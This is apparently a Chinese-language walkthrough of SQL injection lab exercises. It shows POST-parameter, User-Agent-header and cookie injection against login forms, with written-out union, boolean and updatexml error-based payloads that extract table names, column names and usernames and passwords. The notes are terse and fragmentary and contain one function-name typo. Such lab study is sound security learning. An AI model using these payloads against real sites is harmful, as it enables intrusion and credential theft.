login登录 账户密码必是字符串类型
随便输账户密码
因为是post请求,查看页面源代码查看参数
构造post请求,先看uname是否存在注入点 uname=asdas' or 1=1 #&passwd=&submit=Submit
再看下passwd是否存在注入点 uname=asdas&passwd=dfsdf' or 1=1#&submit=Submit
所以uname和passwd都可以为注入点
剩余操作如第一题
uname=admin"&passwd=admin&submit=Submit
说明sql语句为(" ")闭合
post请求注入
uname=dsfsdf") union select 1,database()#&passwd=admin&submit=Submit
uname=dsfsdf'&passwd=admin&submit=Submit
uname=dsfsdf' or 1=1#&passwd=admin&submit=Submit
尝试报错注入uname=dsfsdf' and updatexml(1,contact(database()),1)#&passwd=admin&submit=Submit
说明mysql_error()被注释掉了
所以只能使用布尔盲注和延时盲注
16.基于(' ')的闭合和无回显和报错的post请求
uname=dsfsdf") or 1=1#&passwd=admin&submit=Submit
知识点:
select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存,修改密码等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
Order by排序注入方法小总结 - 简书 (jianshu.com)
php自带防护魔术引号
本题可用报错注入,布尔盲注,延时盲注
构造uname=
a' or 1 = 1#
a') or 1 = 1#
a')) or 1 = 1#
a" or 1 = 1#
a") or 1 = 1#
a")) or 1 = 1#
页面都没有回显并且都登陆失败了,说明uname和passwd都不存在注入点
用admin/admin登录后,回显user-agent
说明user-agent可能有注入点
在bp中尝试
出现报错
分析可知
此时
在注入的两个单引号之间可以插入其他 Sql 语句,在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
没有回显使用报错注入
User-Agent: ' OR updatexml(1,concat('!',database()),2) OR '
知道数据库名security
爆表名
' OR updatexml(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),'~'),3) OR '
爆字段名
' OR updatexml(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security'AND table_name='users'),'~'),3) OR '
爆字段值
' OR (updatexml(1,concat('~',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
接着修改LIMIT 1,1/2,1....得到所有的字段值
contact(str1,str2)连接字符串函数
与18一样尝试过后uname和passwd不存在注入点
用admin/admin登录后,回显
暗示是cookie
刷新页面,发现无需再登陆仍登录后的页面,在bp中抓的包出现了
可能在cookie的uname中存在注入点
构造
回显报错
所以存在字符型注入点
加上注释
正常回显
其余操作与第一题相同,只不过在cookie处构造
admin登录
uname为base64加密,提示cookie
burp抓包
decoder解码
注入